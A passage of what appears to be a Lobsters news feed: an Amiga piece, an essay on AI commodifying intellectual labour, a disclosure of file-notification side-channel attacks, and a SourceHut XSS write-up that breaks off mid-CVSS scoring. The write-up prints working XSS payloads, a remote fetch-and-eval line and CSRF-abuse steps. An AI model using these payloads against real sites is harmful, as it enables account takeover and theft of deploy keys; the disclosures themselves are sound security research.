graphics, which saves memory and allows for gradual increments of available on-screen colours from two to 32.&#xA;- Screens can be arbitrarily dimensioned and positioned.&#xA;- Several screens with different resolutions (pixel sizes), colour depths and palettes can be displayed simultaneously, and overlap arbitrarily to reveal the screen(s) behind them.&#xA;- Switching between two different screens is instant.&#xA;- Screens can be gradually dragged to reveal another screen behind them.&#xA;- Dual Playfield uses an &#34;alpha-channel&#34; to combine the graphics of two different screens.&#xA;&#xA;Amiga software, including the operating system, makes good use of these features. This allows for productive multitasking workflows despite the machine&#39;s limited hardware resources and relatively low display resolution.&#xA;&#xA;Now, since I&#39;ve mentioned the Amiga online, I just have to wait for some Amiga fan to send me a mail trying to explain what&#39;s so great about screens. In the meantime, take care and happy hacking!</content>
    <link href="https://www.datagubbe.se/amscr/" rel="alternate"></link>
    <author>
      <name>classichasclass</name>
    </author>
  </entry>
  <entry>
    <title>Commodified Intelligence</title>
    <updated>2026-09-26T03:24:29+09:00</updated>
    <id>lobsters_nidcls</id>
    <content type="html">### I&#xA;&#xA;Look, if you are still stuck on “AI cannot really think, it’s just a stochastic parrot”, please snap out of it and lock in, or you’ll keep repeating that line until you find yourself sitting in the corner chair, watching as ChatGPT™ has sex with your wife.&#xA;&#xA;If you’ve paid attention to the HuggingFace hacking scandal and to what’s going on in mathematics, we’re well past the “stochastic parrot”, and have entered a world in which a sufficient amount of raw capital and verifiable constraints can solve complex problems.&#xA;&#xA;The risk isn’t that the AI bubble is going to crash the markets, it’s that we’ll enter a world in which the value of human intellectual labor will rapidly go down to minimum wage (or worse).&#xA;&#xA;You may believe that you can do better web development than Claude, but that won’t stop Big Capital from cutting half of the jobs at your company in favor of cheaper meat proxy AI-assisted labor.&#xA;&#xA;Ignoring extinction and&#xA;singleton risks, the&#xA;bare minimum you should be horrified of is a _commodification of intelligence_, and what that means&#xA;in a world with an uneven distribution of power and resources.&#xA;&#xA;&#xA;Commodified Intelligence.&#xA;&#xA;That’s the phrase I’ve been trying to put a finger on for a while now.&#xA;&#xA;The reason why dead-end so-called unskilled labor sucks is that you are fundamentally replaceable. The&#xA;market enforces a pretty brutal equilibrium. White-collar jobs suck less because you are less replaceable,&#xA;and maybe even get to convince yourself that your work _matters_, either for yourself or for&#xA;society. You have some narrative arc attached to it that just isn’t there if you’re completely&#xA;replaceable.&#xA;&#xA;&#xA;Quoting the single best post of all time:&#xA;&#xA;&gt; Minimum wage jobs are worse because of their pointlessness more than because of their indignity, work harder/better/faster/stronger and no one cares, screw up and you’re replaced without a missed beat. No direction, no story; the days blur together until arthritis leaves you crippled.&#xA;&gt;&#xA;&gt; — The Tower – Hotel Concierge&#xA;&#xA;Whether you have a white-collar job or not, commodified intelligence&#xA;_fundamentally makes workers more replaceable, and this is bad for them_.&#xA;&#xA;&#xA;It doesn’t matter that we’re all subjected to horrible AI-generated slop food posters as long as the margins are positive. It doesn’t matter that some diffuse component of quality, or a human touch are missing. Not as long as the margins are positive.&#xA;&#xA;The same argument applies to vibecoding. Avoiding it may be better for your brain, and projects like Zig may excel without AI usage due to a strong vision, willingness to put in the work and community support, but the average SWE is still going to suffer the consequences of a commodification of intelligence. The average SWE doesn’t work on projects where such a strong vision is even necessary.&#xA;&#xA;Why should you do your own coding? Either because you care strongly about the act itself and want to avoid&#xA;losing your skills, _or_ because you have such a strong vision that handing over control to the&#xA;commodified intelligence machine will inherently compromise what you are trying to achieve.&#xA;&#xA;&#xA;Both of these are fair points, but understand that they are different arguments: One is about what’s good for yourself, the other is an argument about quality, which may end up harder to justify as AI capabilities increase.&#xA;&#xA;In either case, the market will neither care about you, nor about which tools you used to get somewhere. That’s capitalism, baby. The “economic reality” will adjust itself around you, whether you like it or not.&#xA;&#xA;### II&#xA;&#xA;Automation has happened many, _many_ times throughout history.&#xA;&#xA;&gt; “Employment of young workers (ages 22–25) in AI-exposed occupations now stands 19% below where it would be had it kept pace with that of their less-exposed peers; experienced workers show no comparable gap.”&#xA;&gt;&#xA;&gt; — Canaries in the Coal Mine? Six Facts about the Recent Employment Effects of Artificial Intelligence, August 2026 Revision&#xA;&#xA;(You don’t need to tell me that it says “experienced workers show no comparable gap”. The paper is called ‘Canaries in the Coal Mine’ for a reason. Entry-level workers get hit first.)&#xA;&#xA;An automation of general-purpose pattern matching and problem solving is scary since it’s a whole phase change: It automates “everything” which, at worst, leaves us in a world in which raw access to capital/compute is all that matters to determine your leverage.&#xA;&#xA;The thing that makes me especially squeamish about this is that there’s a reasonable case to be made that all of human flourishing within democratic societies rests on a fundamental stabilizing pillar that says “THE MATERIAL VALUE OF SPECIALIZED HUMAN LABOR”. (CGP Grey’s Rules for Rulers continues to be relevant.)&#xA;&#xA;This is a dark, grotesque, almost Landian point: If intelligence, and raw problem solving has been commodified, you really don’t rely on human labor anymore. All you need is raw capital, and some sort of vision of what you want.&#xA;&#xA;Yes, robotics aren’t quite there yet, but labs and startups across the world are racing towards it, and in the meantime we’ve got reverse centaurs to do the job. Putting up the factories may take a while, but it’s essentially inevitable once we’re at the point of commodified intelligence.&#xA;&#xA;If you don’t have the ability to contribute through productive labor, capital owes you nothing, and you’ve lost the most important leverage you had access to.&#xA;&#xA;Yes, yes, you are allowed to identify the concentration of capital as the problem, but _please_ for&#xA;the love of god, arms-race-type problems are _structural_ in nature, and the train is moving too&#xA;fast: Swarms of AI agents will be hacking, piloting robots and researching in automated biolabs before you&#xA;have any chance to overthrow society and establish a socialist utopia.&#xA;&#xA;&#xA;I know: Working from _within_ the system is perhaps even less likely to work, leaving you with&#xA;approximately zero options whatsoever1.&#xA;&#xA;&#xA;If any of these things shake out and we make it out of the near-future, the best you can hope for is a&#xA;universal basic income, pegged to a meaningful percentage of existing compute2. (To avoid the risk of compute-inflation.)&#xA;&#xA;&#xA;### III&#xA;&#xA;If we (humanity) make it out of the near-future meltdown world and the first few incidents caused by AI-manned biolabs, you’ll live in a world in which AI will do your job better than you do. Taste and vision may still matter, but all skills have to be honed for their own sake, or for local enjoyment.&#xA;&#xA;Consider: You live in a world in which chess is thoroughly, and utterly dominated by The Machine, yet humanity still plays chess. Good chess, bad chess, the act itself is still enjoyable.&#xA;&#xA;Why is it enjoyable?&#xA;&#xA;_Because it’s hard._ It’s a mountain to climb. There are mountains everywhere for those&#xA;with eyes to see, so you certainly don’t have to climb this specific one, but everyone knows that&#xA;the difficulty and uncertainty is at least part of what makes chess enjoyable.&#xA;&#xA;&#xA;We can figure out later whether struggle for its own sake is enough, or whether nihilism had a point. For now we can agree that there’s no point to having Stockfish play chess for you.&#xA;&#xA;If ChatGPT™ were better at sex than you, should ChatGPT™ have sex with your wife instead of you?&#xA;&#xA;No! The point of sex isn’t to _do it well_. You should do it for yourself, and because you&#xA;care about doing it yourself! Or care about doing it _with_ other people, lest we ignore the social&#xA;component of sex (or chess, as the case may be).&#xA;&#xA;&#xA;In a hypothetical post-near-future world, slop will certainly still exist.&#xA;&#xA;If we’re lucky, and the future has an inkling of post-scarcity in it, then most low-effort AI-generated “““content””” will just be downstream of poor taste, at least (rather than being an attempt to scam people).&#xA;&#xA;You may call it “slop”, and sneer in disdain at low-skilled bad-taste dilettantes flooding the internet with trash, but we already live in that world, anyway: Most things are bad, which is why all the big platforms are huge on personalized algorithms, and also why recommendations by your friends are valuable.&#xA;&#xA;My prediction is that we’ll move even further into a bifurcated economy, as is already the case for music: There’s committee-produced music whose purpose is to turn a profit, and there’s music created by indie artists who know that they have no hope of ever making music their primary source of income. (Just look at indie games!)&#xA;&#xA;We may end up with a full “hidden economy”: People working on their own passion projects, building things for their own sake, and for recognition from their peers. Work done without real compensation, to express personal ideas, moods, and visions, with personal lines drawn on when AI usage is acceptable, and when it isn’t.&#xA;&#xA;This bifurcation would affect everyone. For every single hobby activity in your life you’ll have to make a decision: Do you care about the “outcome”, or do you care about doing it yourself, about going through the steps, learning, and doing it badly?&#xA;&#xA;Say, do you just want to eat something, or do you want to know how to cook?&#xA;&#xA;Do you just want a drawing, or do you want to learn how to express yourself in art, in a way that’s impossible to articulate or explain through a chat interface?&#xA;&#xA;Everyone will have to make the call about what they care to do on their own, and where they’re happy handing over control to AI assistants. Asking people not to use any AI whatsoever is going to be unrealistic (and impossible, in the sense that the rest of the economy will be fueled by it).&#xA;&#xA;Still, in a world in which technology has evolved to exploit our attention and addictions, it’s more critical than ever that you draw that line somewhere, take time for deep focus, and do things for your own sake.&#xA;&#xA;Again: This is already the case. Whenever you play a video game (say, Elden Ring) and decide to ‘play it blind, unspoiled, and without looking anything up’, you are acknowledging that taking ’the hard way’ or having an ‘authentic experience’ is more important for you than raw success.&#xA;&#xA;Don’t be a meat proxy, don’t get stuck in the feedscroller apps, and don’t cheat (at chess, at writing, or otherwise).&#xA;&#xA;If you&#39;ve made it this far, consider signing up for e-mail notifications or adding this blog to your RSS reader.&#xA;&#xA;1. That sentiment of a lack of options as technology moves too fast is the core tenet of (descriptive)&#xA;    _accelerationism_. It’s the acknowledgement that change may be happening too rapidly for society to catch up. This is _descriptive_ accelerationism, not _prescriptive_. Prescriptive accelerationism is the ideology that you should make things even faster/worse, in hope of reaching a destabilization of society sooner, for one reason or another. Important difference! ↩︎&#xA;2. It’s unclear whether pegging UBI to compute is the right move. You want to ensure that each human retains some amount of economic leverage. The issue is that we might end up in a future where raw compute is cheap, and the real bottleneck ends up being spare land or raw resources. ↩︎</content>
    <link href="https://herecomesthemoon.net/2026/09/commodified-intelligence/" rel="alternate"></link>
    <author>
      <name>mond</name>
    </author>
  </entry>
  <entry>
    <title>File Notification Attacks: Side-Channel Leakage from the File-Notification System on Linux, Android, Windows, and macOS</title>
    <updated>2026-09-25T11:50:41+09:00</updated>
    <id>lobsters_x6yjrc</id>
    <content type="html">## Side-Channel Leakage from the File-Notification System on Linux, Android, Windows, and macOS.&#xA;&#xA;#### Accepted at The ACM Conference on Computer and Communications Security (CCS), November 15-19, 2026 — The Hague, Netherlands&#xA;&#xA;File-notification systems tell applications when files change, _e.g._, opened, closed,&#xA;written, deleted. With **only** read permission on a file or directory, an&#xA;attacker can watch these notifications and reconstruct user behavior. We find&#xA;generic issues similar on each of Linux, Android, Windows, and macOS. However,&#xA;there are three issues that are severe and unique to their platform:&#xA;&#xA;&#xA;1\. On Linux, watching a readable directory reports every event on a file inside&#xA;it, even one the attacker cannot read directly. The most&#xA;severe case of this is with `/dev/input`, discussed in&#xA;Inter-Keystroke Timing below.&#xA;&#xA;&#xA;2\. On Android, FileObserver bypasses the FUSE layer&#39;s per-app storage view, letting an unprivileged app watch another app&#39;s private folder. We show this against WhatsApp, revealing exactly when photos, videos, and files arrive or get deleted, detailed in Revealing Private Communication below.&#xA;&#xA;3\. On Windows, watching the root directory ( `C:\`) reports the full&#xA;path of every file touched anywhere on the system, regardless of permissions,&#xA;even across users 🙂. Microsoft considers this an ✨ undocumented feature ✨.&#xA;The most severe case we found is leaking which websites another user visits&#xA;in real time, shown in Direct&#xA;Website Leakage below. Our findings got Microsoft nominated for the&#xA;lamest vendor response category at the&#xA;Pwnies Award 2026.&#xA;&#xA;&#xA;On Linux, the file-notification subsystem is called inotify, allowing cross-user applications to mount watches on files or directories since kernel 2.6.13 (2005).&#xA;&#xA;On Android, this subsystem is called&#xA;FileObserver&#xA;class (since 2008), a Java&#xA;wrapper&#xA;around `inotify`.&#xA;&#xA;Windows offers the ReadDirectoryChangesW Win32 API, available since Windows 2000. With this API, cross-user applications can mount watches on directories, getting notifications for operations on the directory, or files within the directory. In dotnet, the FileSystemWatcher class is wired to ReadDirectoryChangesW.&#xA;&#xA;On macOS, the File System Events API allows for applications to know when files in a watched directory change. This API has been around since Mac OS X Leopard version 10.5 (2007); archived link to Apple Developer Connection – Leopard OS Foundations Overview.&#xA;&#xA;## Demos&#xA;&#xA;We demonstrate four interesting case studies below. The first two are on Linux: inter-keystroke timing and authentication-UI redress. The third is on Android, and the fourth video is on Windows: direct website leakage.&#xA;&#xA;The major point to remember on all systems is that **the contents of these files**&#xA;**are unknown**. We only get notifications on files, which we show is enough to&#xA;leak user, system, and application behavior. In some cases, we also learn about&#xA;the existence of files that we traditionally could not have known.&#xA;&#xA;### 1\. Linux: Inter-Keystroke Timing&#xA;&#xA;On Linux, mounting an `inotify` watch on a file without read-permission results&#xA;in a permission denied error. However, if the file’s parent directory is&#xA;readable, watching that _directory_ will report all events that occur on the&#xA;file.&#xA;&#xA;This means that if a user can’t read `/dev/input/event4`, adding an `inotify`&#xA;watch on the _file_ results in a permission-denied error. However, if the user&#xA;can read `/dev/input` – _i.e._, they can list the files in the directory –&#xA;then an `inotify` watch on the _directory_ succeeds, and the user receives&#xA;notifications for all files inside it, as shown below:&#xA;&#xA;On this system, `event4` happens to correspond to a keypress. Important to note&#xA;is that _which_ key is not leaked, but only that a key was pressed. Although&#xA;this may not sound terrible, there has been 2+ decades of research on&#xA;inter-keystroke timing attacks: the time taken between keys leaks information.&#xA;For example, in the word ‘WindRunner’, users tend to type the second ‘N’ faster&#xA;than the other characters due to the finger already being over the ‘N’ key.&#xA;&#xA;These include: Song _et_&#xA;_al._&#xA;(2001), Zhang and&#xA;Wang&#xA;(2009), Monaco (2018),&#xA;and most recently Qiu _et_&#xA;_al._&#xA;(2025).&#xA;&#xA;This behavior is also observed when two different users are logged on to the&#xA;same server via SSH. One user can observe whenever\* the other user presses a&#xA;key by monitoring `/dev/pts`.&#xA;&#xA;\\* The input should have a text update on the terminal. Typing into sudo password prompts with pwfeedback disabled does not generate notifications.&#xA;&#xA;### 2\. Linux: Authentication-UI Redress&#xA;&#xA;We show an authentication-UI redress attack on KDE Plasma running on Wayland,&#xA;where a _same-user_ process watches `/usr/bin/pkexec` of&#xA;polkit for accesses to detect&#xA;when an authentication prompt appears. As soon as the real password dialog is&#xA;about to open, the attacker quickly draws a fake password window on top of it,&#xA;tricking the user into entering their credentials. Even though Wayland is&#xA;designed to block input snooping, KDE’s focus-stealing&#xA;prevention&#xA;isn’t designed to be a security mechanism, according to KDE Plasma’s security&#xA;team.&#xA;&#xA;Since SteamOS also uses KDE Plasma 6, here’s a picture of the KDE terminal (Konsole) drawn over the authentication prompt window on SteamOS (this was inside a VM so it may differ in practice):&#xA;&#xA;### 3\. Android: Revealing Private Communication&#xA;&#xA;As stated before:&#xA;&#xA;&gt; On Android, FileObserver bypasses the FUSE layer’s per-app storage view, letting an unprivileged app watch another app’s private folder. We show this against WhatsApp, revealing exactly when photos, videos, and files arrive or get deleted.&#xA;&#xA;Every app is assigned a private folder at `/sdcard/Android/`, hidden from other&#xA;apps through Android’s FUSE layer, and Android’s FUSE layer is supposed to keep&#xA;it hidden from every other app. Normally, an unprivileged app calling&#xA;`File.listFiles()` on WhatsApp’s private media folder, _e.g._,&#xA;`/sdcard/Android/media/com.whatsapp/WhatsApp`, gets empty subfolders and no&#xA;files returned by the kernel. The FUSE layer filters WhatsApp’s files out of the&#xA;listing entirely, and therefore the folder looks empty to other apps. Our&#xA;research shows that this protection doesn’t extend to file notifications: a&#xA;second unprivileged app with no permissions can still mount a `FileObserver`&#xA;watcher on that same folder and gets notified of every file event (plus file&#xA;name!) inside it, despite not being able to list a single file in it.&#xA;&#xA;For example with WhatsApp, incoming media shows up as a `MOVED_TO` event with&#xA;the file name. In our logs, `IMG-20260401-WA0011.jpg` is moved to `WhatsApp Images/` about 100ms after WhatsApp finishes downloading and decrypting it (the&#xA;`.Shared/`), as seen from our proof-of-concept app’s (enormous) logcat output:&#xA;&#xA;Sent media is kept separate, so the attacker also learns whether the image was&#xA;sent or received. Images are located in `WhatsApp Images/Sent/`, documents are&#xA;located in `WhatsApp Documents/Sent/`, everything else received stays in the&#xA;parent folder. Since file names alone reveal the media type (image, video, voice&#xA;note, or document) and their creation time, an attacker builds a timeline of&#xA;exactly what and when a user sent and received. Deleting files also generates&#xA;events, so removing a message’s media afterwards can be observed.&#xA;&#xA;### 4\. Windows: Direct Website Leakage&#xA;&#xA;On Windows, mounting a `ReadDirectoryChangesW` watch on a non-readable&#xA;directory results in a permission-denied error. However, mounting it on the root&#xA;directory (e.g., `C:\`) bypasses this restriction, causing Windows to report all&#xA;filesystem events system-wide _along with the filename_, regardless of whether&#xA;the affected files are readable. In our responsible disclosure with them,&#xA;Microsoft said that they consider this an undocumented feature.&#xA;&#xA;One example where filenames leak information is the directory created by browsers when visiting a website. Firefox creates and uses a separate directory for every website that uses local storage, IndexedDB, or cache. Notably, this directory contains the name of the website. On Firefox, an attacker can reliably monitor top-1000 websites with an F1 score of 97.8%.&#xA;&#xA;Here are more examples:&#xA;&#xA;### Team&#xA;&#xA;The team comprises of researchers from the Institute of Information Security (ISEC) at Graz University of Technology, Austria:&#xA;&#xA;- Sudheendra Raghav Neela&#xA;- Xufan Zhao&#xA;- Jeanette Angelika Wultsch&#xA;- Hannes Weissteiner&#xA;- Stefan Gast&#xA;- Florian Draschbacher&#xA;- Daniel Gruss&#xA;&#xA;# Some Questions and Answers&#xA;&#xA; **1\. Am I affected?**&#xA;&#xA;If you use Linux, Android, Windows, or macOS, you are most certainly affected to varying degrees.&#xA;&#xA;While macOS exposes the least information via only globally readable files, with no leaks of private information (unlike Linux, Android, and Windows), we find that user, application, and system behavior can still be tracked, although to a much smaller extent.&#xA;&#xA; **2\. Are there fixes?**&#xA;&#xA;### » Linux «&#xA;&#xA;In December 2025, the Linux issue was partially&#xA;mitigated&#xA;to not generate ‘access’ / ‘modify’ events on special files, essentially&#xA;character files, which the files in `/dev/` basically are. We thank Amir&#xA;Goldstein, Jan Kara, Greg Kroah-Hartman, and the Linux Kernel Security Team for&#xA;discussing and partially mitigating the issue. While it’s not fully mitigated,&#xA;the most severe issues are mitigated. This issue was assigned&#xA;CVE-2025-68788&#xA;and was mitigated in kernels&#xA;5.10.248,&#xA;5.15.198,&#xA;6.1.160,&#xA;6.6.120,&#xA;6.12.65, and&#xA;6.18.3.&#xA;&#xA;You can check whether this command generates notifications when you press keys on the keyboard:&#xA;&#xA; `inotifywait -m -e access,modify /dev/input&#xA;`&#xA;&#xA;If you do not see any notifications appear (like Video 2 above), then your kernel has the mitigation in place.&#xA;&#xA;### » KDE «&#xA;&#xA;In our emails with the KDE security team, they replied that focus-stealing prevention is not meant as a security measure, but rather to avoid race conditions with annoying popups.&#xA;&#xA;What we find works for the time being in KDE Plasma 5 and 6:&#xA;&#xA;Open a terminal, type `pkexec ls` (doesn’t matter where). Right click on the&#xA;top of the password window &gt; More Actions &gt; Configure Special Application Settings &gt; Add Property &gt; Keep Above Other Windows (click +) &gt; close the properties window &gt; Set “Keep above other windows” to “Force” and click “Yes” &gt; OK.&#xA;&#xA;Here’s a video to walk you through it:&#xA;&#xA;### » Android «&#xA;&#xA;None&#xA;&#xA;### » Windows «&#xA;&#xA;Well after our paper was submitted and despite our report to Microsoft, we&#xA;independently came across: Access check enhancements to prevent unauthorized&#xA;disclosure of file&#xA;paths&#xA;which are similar to our Windows findings, the bugs reported to Microsoft by&#xA;Sébastien Huneault in April 2025. Microsoft introduced a new registry policy,&#xA;`EnforceDirectoryChangeNotificationPermissionCheck`, which mitigates the&#xA;behavior we report. This policy is disabled by default, i.e., all the&#xA;attacks we report in this paper work out-of-the-box on Windows systems. The&#xA;earlier linked post has instructions to enable this on your device.&#xA;&#xA;### » MacOS «&#xA;&#xA;None&#xA;&#xA; **3\. What can be leaked?**&#xA;&#xA;The major point to remember on all systems is that **the contents of these files**&#xA;**are unknown**. Only notifications on files are leaked, which we show is enough&#xA;to leak user, system, and application behavior. In some cases (Windows,&#xA;Android), we also learn about the existence of files that we traditionally could&#xA;not have known.&#xA;&#xA;Note that the attacks we present require a local, cross-user attacker (think of a compromised user/system service), or a supply-chain-attacked package.&#xA;&#xA; **4\. Have these attacks been exploited in the wild?**&#xA;&#xA;We are unaware of any such case.&#xA;&#xA; **5\. Can I use the logo?**&#xA;&#xA;Sure, it’s licensed under CC-BY 4.0: Download SVG, PNG.&#xA;&#xA;Please attribute it this way:&#xA;&#xA;```&#xA;Creator: Brinda Neela License: CC-BY 4.0 Link: https://inoti.fyi&#xA;```&#xA;&#xA; **6\. Is there proof of concept code?**&#xA;&#xA;Yes, check out: https://github.com/isec-tugraz/file-notification-attacks.&#xA;&#xA;### Acknowledgements&#xA;&#xA;This research is supported in part by the European Research Council (ERC project FSSec 101076409), and the Austrian Science Fund (FWF SFB project SPyCoDe 10.55776/F85). Additional funding was provided by a generous gift from Intel. Any opinions, findings, and conclusions or recommendations expressed in this paper and website are those of the authors and do not necessarily reflect the views of the funding parties.</content>
    <link href="https://inoti.fyi/" rel="alternate"></link>
    <author>
      <name>sneela</name>
    </author>
  </entry>
  <entry>
    <title>SourceHut account takeover via build logs (XSS in ansi2html.py)</title>
    <updated>2026-09-25T05:38:32+09:00</updated>
    <id>lobsters_ky1cr0</id>
    <content type="html">Welcome to my first big impact vulnerability writeup!&#xA;&#xA;I like good stories, so let me describe some background first.&#xA;I recently had a ‘great’ idea (I know, I know, I should stop having these) to set up a sr.ht instance&#xA;that would _pay_ people for hosting their projects.&#xA;You can find it shamelessly plugged in the timeline section,&#xA;in case you want to try it or flame me for it on socials.&#xA;&#xA;Anyway, the story. The first step was to clone some minimal subset of the sr.ht repos, and start hacking on it.&#xA;&#xA;## No NLP&#xA;&#xA;I tend to include the following statement in my vulnerability research submissions from this year. Make from it what you wish.&#xA;&#xA;_No NLP has been used in this research. The mistakes are all mine._&#xA;&#xA;## Structure&#xA;&#xA;SourceHut is structured in several microservices, the main ones being meta.sr.ht and probably git.sr.ht or hub.sr.ht (the flagship instance hosts it at just sr.ht). And of course builds.sr.ht, the CI.&#xA;&#xA;One less known is mirror.sr.ht (slowly moving to mirror.srht.network), containing prebuilt packages for various microservices.&#xA;&#xA;I must say I like this approach, because it allows a very easy start on any machine matching the flagship instance distro version exactly.&#xA;&#xA;If your favourite project currently recommends installation via `curl|sudo bash`&#xA;or ‘just launch Claude in this folder’ (sic!),&#xA;please consider making yourself aware of the not less valid option&#xA;of distributing software to end users using actual software packages instead.1&#xA;&#xA;## Building Alpine packages&#xA;&#xA;So if you happen to use a different distro,&#xA;or even a different version of Alpine,&#xA;you are on your own a bit.&#xA;So there is the `sr.ht-apkbuilds` repo,&#xA;and you can ‘fork’ it to use your signing key,&#xA;your Alpine version and your mirror.&#xA;There is also `sr.ht-pkgbuilds` for Arch,&#xA;but it’s effectively unmaintained at this point.2&#xA;&#xA;This involves using builds.sr.ht to bootstrap the packages. I tried to look at the page source of the build log, because it kept scrolling not where I wanted, which annoyed me a bit.&#xA;&#xA;That’s when I found this:&#xA;&#xA; `/* ... */&#xA;.ansi38-150150150 { color: #969696; }&#xA;.ansi38-150150150 { color: #969696; }&#xA;.ansi38-150150150 { color: #969696; }&#xA;.ansi38-150150150 { color: #969696; }&#xA;.ansi38-150150150 { color: #969696; }&#xA;.ansi38-150150150 { color: #969696; }&#xA;.ansi38-150150150 { color: #969696; }&#xA;.ansi38-150150150 { color: #969696; }&#xA;.ansi38-150150150 { color: #969696; }&#xA;.ansi38-150150150 { color: #969696; }&#xA;.ansi38-150150150 { color: #969696; }&#xA;/* ... */&#xA;`&#xA;&#xA;I decided to take a closer look how it’s done,&#xA;and maybe fix it.&#xA;Look, I like SourceHut.&#xA;I can see there is quite some wasted compute and bandwidth here.&#xA;I want them to get rich so that others follow suit,&#xA;and there is some unnecessary waste slowing that.3&#xA;&#xA;## ansi2html&#xA;&#xA;I took a look into the logic converting ANSI escape codes to HTML, and I filed an issue for it. There has been no activity in the repo for over a year at that point, so I decided to work on it, because I like receiving good patches myself, when I am not focused on a particular project. This quickly resulted in submitting a PR fixing this particular issue.&#xA;&#xA;Given my Capture The Flag background, I started looking into ansi2html a bit more, in hunt for more bugs (especially that I’m about to host it myself!). Apart from parsing escape sequences for colors, it also allows for automatic links, and OSC 8 hyperlinks. Because the code is not so well-structured yet, I was able to craft a malicious input string after reading this great XSS cheatsheet (now forever in my bookmarks):&#xA;&#xA; ``$ printf &#39;\33]8;;https://example.com/&#34;/autofocus/tabindex=&#34;1&#34;/onfocus=&#34;alert`xss`\7Nothing to see here\33]8;;\7&#39; | ansi2html&#xA;[...]&#xA;&lt;a href=&#34;https://example.com/&#34;/autofocus/tabindex=&#34;1&#34;/onfocus=&#34;alert`xss`&#34;&gt;Nothing to see here&lt;/a&gt;&#xA;[...]&#xA;$ printf &#39;\33]8;;javascript:alert`xss`\7Nothing to see here\33]8;;\7&#39; | ansi2html&#xA;[...]&#xA;&lt;a href=&#34;javascript:alert`xss`&#34;&gt;Nothing to see here&lt;/a&gt;&#xA;[...]&#xA;``&#xA;&#xA;The former is worth some explanation. No idea why, but as you can check, it parses to the same DOM tree as:&#xA;&#xA; ``&lt;a&#xA;  href=&#34;https://example.com/&#34;&#xA;  autofocus&#xA;  tabindex=&#34;1&#34;&#xA;  onfocus=&#34;alert`xss`&#34;&gt;&#xA;  Nothing to see here&#xA;&lt;/a&gt;&#xA;``&#xA;&#xA;So if you happen to be able to make `␛]8;;https://example.com/&#34;/...␇` appear in the job logs&#xA;—4 which you can, either without even having an account,&#xA;by sending a patch to a public mailing list with continuous integration turned on,&#xA;or by controlling any remote resource that happens to be printed to the log — congratulations,&#xA;you have just created a build job at `https://builds.sr.ht/~someone-else/job/1234567`&#xA;that executes your payload in every browser that views it.&#xA;You can submit the job yourself, but this requires a paid account on the flagship instance.&#xA;And there are no anonymous payments currently there.&#xA;&#xA;## Weaponizing (do not try this at home)&#xA;&#xA;The actual payload can be downloaded from an attacker’s website,&#xA;like `eval(await (await fetch(&#39;https://example.com&#39;)).text())`&#xA;but here’s some speculation about what it could do.&#xA;&#xA;The build log page already contains the CSRF token.&#xA;You can read it with `document.querySelector(&#39;[name=_csrf_token]&#39;).value` for example,&#xA;or just use the existing form (part of the ‘Resubmit build’ button),&#xA;like ``document.querySelector(&#39;[name=manifest]&#39;).value=`something`;document.forms[0].submit()``.&#xA;Once you get an admin to view it, you can probably grant yourself admin rights.&#xA;The worse impact is that you have access to all the deploy keys,&#xA;and on builds.sr.ht, there are deploy keys for sr.ht itself&#xA;(probably not the case with other instances).&#xA;&#xA;Making this part of the payload is left as an exercise for the curious reader. I cannot stress this enough: remember to only test worms on your own infrastructure. And never on production. Even if it’s your production.&#xA;&#xA;## How to do defense in depth here?&#xA;&#xA;By restricting Content-Security-Policy. I’m no expert here, but removing ‘unsafe-inline’ would be a good first step (not useful advice in itself, because inline scripts are currently used even on the build log page itself, for scrolling).&#xA;&#xA;By extra sanitization (SourceHut added it, but it’s overzealous - now there are no colors!).&#xA;&#xA;And by restructuring the code in ansi2html into some stateful transducer automaton thing.&#xA;&#xA;## Contact&#xA;&#xA;I immediately emailed ~sircmpwn/sr.ht-security@lists.sr.ht explaining the entire problem, complete with a fix that mitigated the worst part at least.&#xA;&#xA;Drew (can I call you Drew? I guess we are all brothers in Source) ended up patching builds.sr.ht to auto-sanitize the output from ansi2html instead. Also a good choice.&#xA;&#xA;## Upstream&#xA;&#xA;Then I contacted upstream (maybe a bit too late? exact timeline below).&#xA;Ansi2html is one of the projects&#xA;featured in the famous and by now beaten to death comic strip by Randall Munroe.5&#xA;Placed under pycontribs org on GitHub, which ominously states:&#xA;&#xA;&gt; PyContribs main purpose is to assure that different Python-related projects remain maintained.&#xA;&#xA;I reached out to the two top people from last 5 or so years’ worth of contributor graph, emails from git history, in order not to make the issue public yet, although it was already made public by the SourceHut announcement.&#xA;&#xA;The maintainer I believed to be the ‘main’ one (Sorin Sbarnea) has not replied to date (he might be having some kind of holiday), although the other one (Sebastian Pipping) has. And the message was a cryptic, unusual for me to receive, ‘mail me in two weeks’.&#xA;&#xA;So I patiently waited two weeks, minding my another nascent business (let me try, okay?), and sent the email.&#xA;&#xA;## Helping upstream&#xA;&#xA;It turned out that Sebastian (can I call you Sebastian?) is a cool guy and he figured he needed me to help him because of something with ACLs on the repo. We ended up getting ansi2html up from the suspension it was in, updating some obsolete scripts, and releasing like 3 or 4 versions of ansi2html to PyPI together.&#xA;&#xA;I tried to be helpful, but had some things going on with my PhD-in-spe, so some latency crept in.&#xA;&#xA;## Submitting for a CVE&#xA;&#xA;Let’s start with the hot take that CVSS scoring is a fallacy: it should be separate for each product and not just one for one root cause code path.&#xA;&#xA;The purpose of CVSS is after all to provide useful information to downstream users on whether to go patch it or not. Researchers have the incentive to make it as high as possible. And projects have the incentive to downplay it. They do want to fix it, but they want to avoid the paperwork involved, and the confidentiality dance of passing it all around (and I totally get it!).&#xA;&#xA;The problem is, not all software is born equal, and this is especially the case with libraries like libcurl.&#xA;&#xA;CVSS 4.0 is at least a bit better than CVSS 3.x. It now makes a distinction on Vulnerable System and Subsequent System. In case of XSS vulnerabilities the typical approach is to say that the web service is Vulnerable, and the browser is Subsequent (which kind of makes sense, because the bug is in the service, but then it impacts the victim browser first in order to attack the web service itself again).&#xA;&#xA;The vector I initially came up with has been altered by VulnCheck. Not sure why, but maybe it can be changed back? Or maybe not worth bothering. Let me know what you think. I also want to add this blog post to the CVE DB, but I might need to check how to do it.&#xA;&#xA;- AV:N - attack vector: network&#xA;- AC:L - attack complexity: low (no guesswork required, no need to bypass or synchronize attacks)&#xA;- AT:N - requirements: none (as opposed to specific config required)&#xA;- PR:N - privileges required: none (just send an email? it might also be low if there was no lists.sr.ht)&#xA;- UI:P - user interaction: passive (the victim must visit a site with JS on - the only problem, easy to solve)&#xA;&#xA;vulnerable system (builds.sr.ht / all of sr.ht)&#xA;&#xA;- VC:H - confidentiality impact: high (does cause a direct, serious loss of confidentiality - secrets get exposed)&#xA;- VI:H - integrity impact: high (can submit malicious build jobs as victim with access to deploy keys)&#xA;- VA:N - availability impact: none (cannot take down the whole service, unless clogging build workers counts)&#xA;&#xA;subsequent system (victim browser)&#xA;&#xA;- SC:L - confidentiality: low 